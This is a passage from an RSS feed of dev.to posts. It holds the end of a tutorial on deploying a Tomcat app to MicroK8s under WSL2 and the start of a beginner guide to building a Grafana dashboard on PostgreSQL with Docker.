&lt;/div&gt;



&lt;p&gt;You will notice your file carries the string tag &lt;strong&gt;&lt;code&gt;localhost/my-java-app:v1&lt;/code&gt;&lt;/strong&gt; bound to a specific runtime permission marker (&lt;code&gt;io.cri-containerd.image=managed&lt;/code&gt;).&lt;/p&gt;




&lt;h2&gt;
  
  
  🎼 Phase 4: Defining the Orchestration Layout (YAML)
&lt;/h2&gt;

&lt;p&gt;Now we write the declarative automation file. We want &lt;strong&gt;2 separate copies (replicas)&lt;/strong&gt; of Tomcat spinning up simultaneously, sitting safely behind a single load-balancing endpoint.&lt;/p&gt;

&lt;p&gt;Create a file named &lt;code&gt;app-deployment.yaml&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;apiVersion&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;apps/v1&lt;/span&gt;
&lt;span class="na"&gt;kind&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Deployment&lt;/span&gt;
&lt;span class="na"&gt;metadata&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;java-app-deployment&lt;/span&gt;
  &lt;span class="na"&gt;labels&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;app&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;my-java-web-app&lt;/span&gt;
&lt;span class="na"&gt;spec&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;replicas&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;2&lt;/span&gt;
  &lt;span class="na"&gt;selector&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;matchLabels&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;app&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;my-java-web-app&lt;/span&gt;
  &lt;span class="na"&gt;template&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;metadata&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;labels&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
        &lt;span class="na"&gt;app&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;my-java-web-app&lt;/span&gt;
    &lt;span class="na"&gt;spec&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;containers&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;tomcat-container&lt;/span&gt;
        &lt;span class="na"&gt;image&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;localhost/my-java-app:v1&lt;/span&gt;
        &lt;span class="na"&gt;imagePullPolicy&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Never&lt;/span&gt; &lt;span class="c1"&gt;# Forces K8s to look only at your hard drive cache&lt;/span&gt;
        &lt;span class="na"&gt;ports&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
        &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;containerPort&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;8080&lt;/span&gt;
&lt;span class="nn"&gt;---&lt;/span&gt;
&lt;span class="na"&gt;apiVersion&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;v1&lt;/span&gt;
&lt;span class="na"&gt;kind&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Service&lt;/span&gt;
&lt;span class="na"&gt;metadata&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;java-app-service&lt;/span&gt;
&lt;span class="na"&gt;spec&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;ClusterIP&lt;/span&gt;
  &lt;span class="na"&gt;selector&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;app&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;my-java-web-app&lt;/span&gt;
  &lt;span class="na"&gt;ports&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;port&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;8080&lt;/span&gt;
    &lt;span class="na"&gt;targetPort&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;8080&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Fire up the structural blueprints into the cluster engine:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;microk8s kubectl apply &lt;span class="nt"&gt;-f&lt;/span&gt; app-deployment.yaml
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  🕵️ Phase 5: Verification &amp;amp; Stepping Inside the Matrix
&lt;/h2&gt;

&lt;p&gt;Track your applications as they boot up live into active server spaces:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;microk8s kubectl get pods &lt;span class="nt"&gt;-w&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When successful, your console will print:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;NAME                                   READY   STATUS    RESTARTS   AGE
java-app-deployment-56fd4d8d5f-ddd4n   1/1     Running   0          10s
java-app-deployment-56fd4d8d5f-n69wp   1/1     Running   0          10s
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Stepping Inside the Pod Environments 🤯
&lt;/h4&gt;

&lt;p&gt;Are those Tomcats really there? Let's physically step inside the isolated filesystem of each individual running node to verify:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;## Step inside Pod 1&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;microk8s kubectl &lt;span class="nb"&gt;exec&lt;/span&gt; &lt;span class="nt"&gt;-it&lt;/span&gt; java-app-deployment-56fd4d8d5f-ddd4n &lt;span class="nt"&gt;--&lt;/span&gt; bash
&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; /usr/local/tomcat/webapps
&lt;span class="nb"&gt;exit&lt;/span&gt;

&lt;span class="c"&gt;## Step inside Pod 2&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;microk8s kubectl &lt;span class="nb"&gt;exec&lt;/span&gt; &lt;span class="nt"&gt;-it&lt;/span&gt; java-app-deployment-56fd4d8d5f-n69wp &lt;span class="nt"&gt;--&lt;/span&gt; bash
&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; /usr/local/tomcat/webapps
&lt;span class="nb"&gt;exit&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Each container runs its own isolated filesystem partition with independent copies of Tomcat 10 and your web project!&lt;/p&gt;




&lt;h2&gt;
  
  
  🌐 Phase 6: Routing Live Traffic to Windows
&lt;/h2&gt;

&lt;p&gt;To view your load-balanced environment, map an open port on your host computer (like &lt;code&gt;9595&lt;/code&gt;) directly to your front-end Kubernetes service router:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;microk8s kubectl port-forward service/java-app-service 9595:8080
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Keep that terminal active, switch to your Windows web browser, and access your custom project page:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;http://localhost:9595/mywebprojectwar/index.jsp
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Every click and refresh on that web address is now automatically round-robinned and load-balanced across your 2 independent Tomcat containers!&lt;/p&gt;




&lt;h2&gt;
  
  
  🧼 Phase 7: Leaving No Trace (The Clean Slate)
&lt;/h2&gt;

&lt;p&gt;When you are done experimenting and want to reclaim your system RAM, CPU cycles, and disk blocks back to a "Zero Stage" without breaking your machine, use this cleanup checklist:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;## 1. Drop Applications&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;microk8s kubectl delete &lt;span class="nt"&gt;-f&lt;/span&gt; app-deployment.yaml
&lt;span class="nb"&gt;sudo &lt;/span&gt;microk8s kubectl delete service my-app-kubernetes 2&amp;gt;/dev/null
&lt;span class="nb"&gt;sudo &lt;/span&gt;microk8s kubectl delete deployment my-app-kubernetes 2&amp;gt;/dev/null

&lt;span class="c"&gt;## 2. Reclaim Image Storage Space&lt;/span&gt;
&lt;span class="nb"&gt;rm&lt;/span&gt; &lt;span class="nt"&gt;-f&lt;/span&gt; ~/kubernetes-java-app/&lt;span class="k"&gt;*&lt;/span&gt;.tar
&lt;span class="nb"&gt;sudo &lt;/span&gt;buildah rmi &lt;span class="nt"&gt;--all&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;microk8s ctr &lt;span class="nt"&gt;--namespace&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;k8s.io image &lt;span class="nb"&gt;rm&lt;/span&gt; &lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;microk8s ctr &lt;span class="nt"&gt;--namespace&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;k8s.io image &lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-q&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt; 2&amp;gt;/dev/null

&lt;span class="c"&gt;## 3. Shutdown Subsystems&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;microk8s disable dashboard registry
&lt;span class="nb"&gt;sudo &lt;/span&gt;microk8s stop

&lt;span class="c"&gt;## 4. Factory Reset (Optional)&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;snap remove microk8s &lt;span class="nt"&gt;--purge&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;sudo &lt;/span&gt;snap &lt;span class="nb"&gt;install &lt;/span&gt;microk8s &lt;span class="nt"&gt;--classic&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  🎯 Conclusion
&lt;/h2&gt;

&lt;p&gt;Running Kubernetes inside WSL2 is a great way to build hands-on experience without needing cloud infrastructure or multiple virtual machines. While the setup introduces a few unique challenges—certificate configuration, image management, and networking—each issue has a straightforward solution once you understand how the pieces fit together.&lt;/p&gt;

&lt;p&gt;In this guide, we built a complete local Kubernetes environment from scratch, containerized a Java web application using Buildah, deployed it on MicroK8s, scaled it with multiple replicas, and exposed it through a Kubernetes Service.&lt;/p&gt;

&lt;p&gt;More importantly, we explored why each step was necessary rather than simply copying commands. Understanding concepts such as container runtimes, image namespaces, deployments, services, and port forwarding makes it much easier to troubleshoot real Kubernetes environments.&lt;/p&gt;

&lt;p&gt;If you're beginning your Kubernetes journey, I hope this walkthrough saves you the hours of trial and error that I went through.&lt;/p&gt;

</description>
      <category>kubernetes</category>
      <category>docker</category>
      <category>tomcat</category>
      <category>linux</category>
    </item>
    <item>
      <title>Grafana for Beginners: Build Your First Dashboard Using PostgreSQL and Docker</title>
      <dc:creator>Sanjay Ghosh</dc:creator>
      <pubDate>Fri, 12 Jun 2026 04:41:57 +0000</pubDate>
      <link>https://dev.to/sanjayghosh/grafana-for-beginners-build-your-first-dashboard-using-postgresql-and-docker-2l4m</link>
      <guid>https://dev.to/sanjayghosh/grafana-for-beginners-build-your-first-dashboard-using-postgresql-and-docker-2l4m</guid>
      <description>&lt;p&gt;As I continue exploring the DevOps ecosystem, I wanted to understand how monitoring and observability tools fit into the software delivery lifecycle.&lt;/p&gt;

&lt;p&gt;Tools like Git, Jenkins, Docker, and Kubernetes are frequently discussed, but eventually every team reaches a common question:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How do we monitor what is happening after deployment?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;That's where Grafana comes in.&lt;/p&gt;

&lt;p&gt;Grafana is one of the most popular open-source visualization platforms used by development, operations, and Site Reliability Engineering (SRE) teams. It helps transform raw metrics into meaningful dashboards that provide insights into application performance, infrastructure health, and business metrics.&lt;/p&gt;

&lt;p&gt;In this article, we'll build a complete working example from scratch:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Install Grafana using Docker&lt;/li&gt;
&lt;li&gt;Create a PostgreSQL database&lt;/li&gt;
&lt;li&gt;Insert sample metrics&lt;/li&gt;
&lt;li&gt;Connect Grafana to PostgreSQL&lt;/li&gt;
&lt;li&gt;Build a dashboard&lt;/li&gt;
&lt;li&gt;Troubleshoot common connection issues&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;By the end, you'll have a fully functional Grafana dashboard running locally and a solid understanding of how Grafana fits into modern DevOps workflows.&lt;/p&gt;




&lt;h2&gt;
  
  
  What is Grafana?
&lt;/h2&gt;

&lt;p&gt;Grafana is an open-source monitoring and visualization platform.&lt;/p&gt;

&lt;p&gt;It connects to various data sources and transforms raw data into interactive dashboards and alerts.&lt;/p&gt;

&lt;p&gt;Grafana itself does not store monitoring data. Instead, it reads data from external systems such as:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;PostgreSQL&lt;/li&gt;
&lt;li&gt;MySQL&lt;/li&gt;
&lt;li&gt;Prometheus&lt;/li&gt;
&lt;li&gt;Elasticsearch&lt;/li&gt;
&lt;li&gt;Loki&lt;/li&gt;
&lt;li&gt;AWS CloudWatch&lt;/li&gt;
&lt;li&gt;InfluxDB&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A simplified architecture looks like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Database / Monitoring Tool
            |
            v
         Grafana
            |
            v
       Dashboards
            |
            v
          Alerts
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Where Grafana Fits in DevOps
&lt;/h2&gt;

&lt;p&gt;Grafana is used throughout the DevOps lifecycle.&lt;/p&gt;

&lt;h3&gt;
  
  
  Development
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Performance analysis&lt;/li&gt;
&lt;li&gt;Debugging bottlenecks&lt;/li&gt;
&lt;li&gt;Resource utilization monitoring&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Testing
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Monitor test environments&lt;/li&gt;
&lt;li&gt;Validate application behavior&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  CI/CD
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Monitor deployments&lt;/li&gt;
&lt;li&gt;Track build success rates&lt;/li&gt;
&lt;li&gt;Visualize pipeline metrics&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Production
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Infrastructure monitoring&lt;/li&gt;
&lt;li&gt;Application Performance Monitoring (APM)&lt;/li&gt;
&lt;li&gt;Alerting and incident management&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Step 1: Install Grafana Using Docker
&lt;/h2&gt;

&lt;p&gt;Pull the Grafana image:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker pull grafana/grafana
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Verify:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker images
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Run Grafana:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker run &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--name&lt;/span&gt; grafana &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-p&lt;/span&gt; 3000:3000 &lt;span class="se"&gt;\&lt;/span&gt;
  grafana/grafana
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Verify the container:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker ps
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;0.0.0.0:3000-&amp;gt;3000/tcp
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Open:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;http://localhost:3000
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Default credentials:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Username: admin
Password: admin
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Grafana will prompt you to change the password during the first login.&lt;/p&gt;

&lt;p&gt;Screenshot of login:&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fehvpxsz4c1l68pojduoa.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fehvpxsz4c1l68pojduoa.jpg" alt=" " width="756" height="407"&gt;&lt;/a&gt;&lt;/p&gt;


&lt;h2&gt;
  
  
  Step 2: Create a PostgreSQL Database
&lt;/h2&gt;

&lt;p&gt;Create a database:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;CREATE&lt;/span&gt; &lt;span class="k"&gt;DATABASE&lt;/span&gt; &lt;span class="n"&gt;grafana_demo&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Connect:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="k"&gt;c&lt;/span&gt; &lt;span class="n"&gt;grafana_demo&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Create a table:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;CREATE&lt;/span&gt; &lt;span class="k"&gt;TABLE&lt;/span&gt; &lt;span class="n"&gt;system_metrics&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="n"&gt;id&lt;/span&gt; &lt;span class="nb"&gt;SERIAL&lt;/span&gt; &lt;span class="k"&gt;PRIMARY&lt;/span&gt; &lt;span class="k"&gt;KEY&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;metric_time&lt;/span&gt; &lt;span class="nb"&gt;TIMESTAMP&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;cpu_usage&lt;/span&gt; &lt;span class="nb"&gt;NUMERIC&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Verify:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt; &lt;span class="n"&gt;system_metrics&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Step 3: Insert Sample Metrics
&lt;/h2&gt;

&lt;p&gt;Insert some sample CPU usage data:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;INSERT&lt;/span&gt; &lt;span class="k"&gt;INTO&lt;/span&gt; &lt;span class="n"&gt;system_metrics&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;metric_time&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cpu_usage&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;VALUES&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;NOW&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;INTERVAL&lt;/span&gt; &lt;span class="s1"&gt;'9 minutes'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;NOW&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;INTERVAL&lt;/span&gt; &lt;span class="s1"&gt;'8 minutes'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;NOW&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;INTERVAL&lt;/span&gt; &lt;span class="s1"&gt;'7 minutes'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;25&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;NOW&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;INTERVAL&lt;/span&gt; &lt;span class="s1"&gt;'6 minutes'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;30&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;NOW&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;INTERVAL&lt;/span&gt; &lt;span class="s1"&gt;'5 minutes'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;45&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;NOW&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;INTERVAL&lt;/span&gt; &lt;span class="s1"&gt;'4 minutes'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;NOW&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;INTERVAL&lt;/span&gt; &lt;span class="s1"&gt;'3 minutes'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;42&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;NOW&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;INTERVAL&lt;/span&gt; &lt;span class="s1"&gt;'2 minutes'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;55&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;NOW&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;INTERVAL&lt;/span&gt; &lt;span class="s1"&gt;'1 minute'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;60&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;NOW&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;&lt;span class="mi"&gt;48&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Verify:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;
&lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;system_metrics&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Step 4: Connect Grafana to PostgreSQL
&lt;/h2&gt;

&lt;p&gt;Navigate to:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;http://localhost:3000/datasources
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Choose:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;PostgreSQL
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Use:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Host:
host.docker.internal:5432

Database:
grafana_demo

User:
postgres

Password:
your_password
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Save and test the connection.&lt;/p&gt;

&lt;p&gt;Screenshot of connection:&lt;br&gt;
